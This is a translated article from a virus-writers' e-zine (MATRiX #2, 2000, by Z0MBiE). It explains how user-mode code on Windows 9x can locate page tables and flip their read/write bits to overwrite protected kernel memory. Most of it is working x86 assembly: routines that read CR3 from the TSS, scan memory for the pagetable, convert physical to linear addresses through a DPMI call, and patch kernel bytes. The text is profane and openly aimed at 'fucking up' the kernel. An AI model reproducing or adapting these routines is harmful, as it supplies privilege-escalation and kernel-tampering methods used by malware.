WRITING INTO KERNEL FROM RING-3: LETS FUCK PAGETABLE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ xlated from russian for MATRiX #2 E-Zine (x) 2000 Z0MBiE WARNING #1. Before reading this text, it is strongly recommended to read some documentation about page table, protected mode, memory organisation, etc. [*] PREFACE Here will be described a method of writing into any region of memory from ring3 by means of pagetable modification. Our task is to write data into some virtual (linear) address X. And let the write-protected memory page that contains address X will be called PageX. [*] getting access rights to address X It is possible to get information about our access rights to address X in the following ways: 1. call win32 api: IsBadXXXPtr (XXX=Read,Write,Code,etc.) 2. use SEH 1. IsBadXXXPtr push size-in-bytes push address call IsBadReadPtr or eax, eax jnz __can_not_read __can_read: ... 2. SEH call __seh_init mov esp, [esp+8] stc jmp __seh_exit __seh_init: push dword ptr fs:[0] mov fs:[0], esp mov al, byte ptr [address] clc __seh_exit: pop dword ptr fs:[0] pop eax jc __can_not_read __can_read: ... Btw, IsBadXXXPtr functions (in win9X at least) uses SEH method too, so their execution with the same result just takes more time. So, now we know how to find if PageX is write-protected [*] Page Table format What is page table? All physical memory is divided into 4k-pages, which may be: read/write-protected and mapped into linear 4GB-length address space. Information about all this shit is stored in the page table. Page Table: ~~~~~~~~~~~ 1st-level directory page 1024 x physical memory aka Page Directory 2nd-level directory pages pages single 4k-page, totally 1024*1024 DWORD-descriptors, physical addr in CR3 for any 4k page in 4GB address space 旼컴컴컴컴컴컴� 旼컴컴컴컴컴커 � DWORD #0 �-------------->� 旼컴컴컴컴컴커 旼컴컴컴컴컴� 쳐컴컴컴컴컴컴� 쳐� DWORD #0 �---------->� ... � � DWORD #1 �---------------->쳐컴컴컴컴컴캑 읕컴컴컴컴컴� 쳐컴컴컴컴컴컴� 쳐� DWORD #1 �---------->旼컴컴컴컴컴� : ... : : 쳐컴컴컴컴컴캑 � ... � : ... : : : ... : 읕컴컴컴컴컴� 쳐컴컴컴컴컴컴� � : ...旼컴컴컴컴컴커 � DWORD #1023 �--------------------->� DWORD #0 �-------> ... 읕컴컴컴컴컴컴� 읕� 쳐컴컴컴컴컴캑 읕컴캐 DWORD #1 �-------> ... 쳐컴컴컴컴컴캑 : ... : : ... : 쳐컴컴컴컴컴캑 � DWORD #1023�-------> ... 읕컴컴컴컴컴켸 Each DWORD has the following format: (to find more details see documentation) 31 12 11 0 --------------------------------------------------------- | | | | | |P|P|U|R| | | physical address 31..12 |AVAIL|0 0|D|A|C|W|/|/|P| | | | | | |D|T|S|W| | --------------------------------------------------------- P - present (if P=0, all other data is unused and the corresponding page is absent in linear address space) R/W - read/write -- bit 1 (0x02) U/S - user/supervisor -- bit 2 (0x04) [*] finding pagetable: variant 1 High 20 bits of the CR3 register is a physycal address of the page table, low 12 bits are zero (it just means that pagetable base is 4k-aligned). But, if you will use 'MOV EAX, CR3' instruction, you will suck. This is because it is a privileged instruction, which may not be called from ring-3. Indeed, win9X will not generate an exception in this situation, but, it will not modify EAX too. Now we may think a little, and find out, that copy of the CR3 register (for the current context!) is stored in the TSS. Where to find TSS? TSS selector may be found using STR (Store Task Register) command. So, we know everything to find CR3 register value. ; subroutine: get_cr3 ; output: EBX=CR3 get_cr3: push eax sgdt [esp-6] mov ebx, [esp-4] ; EBX<--GDT.base str ax ; EAX<--TSS selector and eax, 0FFF8h ; optionally add ebx, eax ; EBX<--TSS descriptor offset mov ah, [ebx+7] ; EAX<--TSS linear address mov al, [ebx+4] shl eax, 16 mov ax, [ebx+2] mov ebx, [eax+1Ch] ; EBX<--CR3 and ebx, 0FFFFF000h ; EBX<--pagetable phys. offs pop eax ret Btw, if you will change 'mov ebx, [eax+1Ch]' into 'mov ebx, [eax+4]' in the code shown above, you will get ESP0, i.e. ESP of the code, that has called current task. So, now we have CR3 register value, which is physical address of the page table. But how can we use this fucking physical address in the PE file? Of course, in the ring-0 it may be converted into linear address using VxDcalls, but in the win32 api there are no such api functions... [*] finding pagetable: variant 2 Now lets try to find pagetable in memory. We will search not the first-level directory page, but that second-level directory page, that contains DWORD which describes PageX. What do we know about this second-level page? Seems nothing. But, life is not so bad. Above-mentioned IsBadReadPtr function can tell us, is some address readable or not. (a whole bit!) And each DWORD-element in the second-level directory page has U/S bitflag, which has the same meaning. ;-) And there are another bit (R/W) which determines writeability of the memory page, which may be found using IsBadWritePtr function. ring-3 function flags in the page descriptor read IsBadReadPtr U/S user/supervisor write IsBadWritePtr R/W read/write So, calling IsBadRead/WritePtr functions for 1024 different pages we can generate 1024 DWORDs, and each DWORD will contain the same 2 bits, as in the 2nd-level directory page. After that we will scan all the memory (really C0000000..D0000000), comparing each memory page to our generated page, but checking only these 2 bits in each DWORD. needtbl dd 1024 dup (?) ; subroutine: find_kernel_pagetable ; return: EBX=2ndlevel directory page (for addresses BFC00000...C0000000) find_kernel_pagetable: ; create page of DWORDs (with 2 meaningful bits in each DWORD) lea edi, needtbl ; page of DWORDs cld mov esi, 0BFC00000h ; ESI--starting page __maketbl: xor ebp, ebp push 4096 push esi callW IsBadReadPtr xor eax, 1 ; 0 <--> 1 shl eax, 2 ; 1 --> 4 or ebp, eax push 4096 push esi callW IsBadReadPtr xor eax, 1 ; 0 <--> 1 shl eax, 1 ; 1 --> 2 or eax, ebp stosd add esi, 4096 ; +1 page cmp esi, 0C0000000h ; totally 1024 pages jne __maketbl ; find 2nd-level directory page mov ebx, 0C0000000h ; start address __cycle: push 4096 ; is current page readable? push ebx callW IsBadReadPtr or eax, eax jnz __cont xor edi, edi ; compare pages __scan: mov eax, [ebx+edi] and eax, 2+4 ; only 2 bits has meaning for us xor eax, needtbl[edi] ; compare jnz __cont add edi, 4 cmp edi, 4096 jb __scan clc ; found! ret __cont: add ebx, 4096 ; +1 page cmp ebx, 0D0000000h ; end-address jb __cycle stc ; not found... ret So, we have found 2nd level directory page which describes 1024 pages in [BFC00000...C0000000] range. Now, if we wanna change RW bit for address BFF70000 we do the following: ; find 2nd level directory page call find_kernel_pagetable jc __damnedsonofabitch ; clear protection (make page writeable) c1 = (0BFF70000h-0BFC00000h)/1024 or dword ptr [ebx + c1], 2 ; RW=1 ; check if all okey, if page really became writeable push 4096 push 0BFF70000h call IsBadReadPtr or eax, eax jnz __exit ; fuck the kernel not dword ptr ds:[0BFF70000h] ; restore protection and dword ptr [ebx + c1], not 2 ; RW=0 Now you may ask me: why did u used BFC00000 and C0000000 constants in the example above? This numbers are BFF70000 address, rounded up and down to the 4MB range. [*] damned shit Maybe you think, we've just patched kernel? No. This really sucks. As it were found, the fucking 2nd-level directory page is just ABSENT in the current context, by default. So you really will find nothing. But, under fucking Soft-ICE all works. This is because it commits this 2ndlevel page into current context, performing something like this: push 0 push 4096 push physical-page-offset VMMcall MapPhysToLinear add esp,3*4 And fucking VMM_MapPhysToLinear calls first VMM_PageReserve and then VMM_LinPageLock, in such way allocating new page in the current context and mapping physical page there. So, we may find pagetable only if it is loaded into current context. [*] finding pagetable: back to variant 1 So, we have the following trouble: 2nd-level directory page may not be found, because it is absent in the current context. Solution may be the following: 1. try to find this fucking page in the different contexts 2. map this page into current context 2nd variant seems better, so, question: how to convert physical address into linear without entering ring-0? And here it is. KERNEL@ORD0 dd 0BFF713D4h ; surely, it may be found ; subroutine: phys2linear ; input: EBX=physical address ; output: EBX=linear address phys2linear: pusha movzx ecx, bx ; BX:CX<--EBX=phys addr shr ebx, 16 mov eax, 0800h ; physical address mapping xor esi, esi ; SI:DI=size (1 byte) xor edi, edi inc edi push ecx push eax push 0002A0029h ; INT 31 (DPMI services) call KERNEL@ORD0 shl ebx, 16 ; EBX<--BX:CX=linear address or ebx, ecx mov [esp+4*4], ebx ; popa.ebx popa ret So, now we know CR3 value and may xlate it into linear address. ; subroutine: get_pagetable_entry ; input: ESI=address ; output: EDI=pagetable entry address get_pagetable_entry: pusha call get_cr3 ; take CR3 and ebx, 0FFFFF000h ; EBX<--pagetable phys. addr call phys2linear ; EBX<--pagetable linear addr mov eax, esi and eax, 0FFC00000h sub esi, eax shr eax, 20 ; EAX<--1st-level dir page shr esi, 10 ; ESI<--2nd-level dir page mov ebx, [ebx+eax] ; EBX<--physical address and ebx, 0FFFFF000h ; of the needed page call phys2linear ; EBX<--linear address add esi, ebx ; ESI<--DWORD to patch mov [esp], esi ; popa.edi popa ret And, at last, all this shit may be used as this: mov esi, 0BFF70000H call get_pagetable_entry or dword ptr [edi], 2 ; PAGEFLAG_RW ... mov byte ptr [esi], xxxx ; fuckup kernel ... and dword ptr [edi], not 2 Thats all! * * *